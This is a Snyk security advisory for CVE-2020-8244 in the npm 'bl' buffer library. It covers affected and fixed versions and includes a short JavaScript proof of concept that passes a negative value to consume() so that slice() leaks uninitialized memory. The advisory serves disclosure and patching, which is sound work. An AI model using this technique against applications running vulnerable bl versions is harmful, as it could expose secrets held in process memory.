Remote Memory Exposure Affecting bl package, versions >=2.2.0 <2.2.1>=3.0.0 <3.0.1>=4.0.0 <4.0.3<1.2.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.15% (53rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-BL-608877
  • published28 Aug 2020
  • disclosed27 Aug 2020
  • creditchalker

Introduced: 27 Aug 2020

CVE-2020-8244  (opens in a new tab)
CWE-9  (opens in a new tab)

How to fix?

Upgrade bl to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.

Overview

bl is a library that allows you to collect buffers and access with a standard readable buffer interface.

Affected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

PoC by chalker

const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) {
    console.error(`Match (at ${i})`, buf)
  }
}

CVSS Scores

version 3.1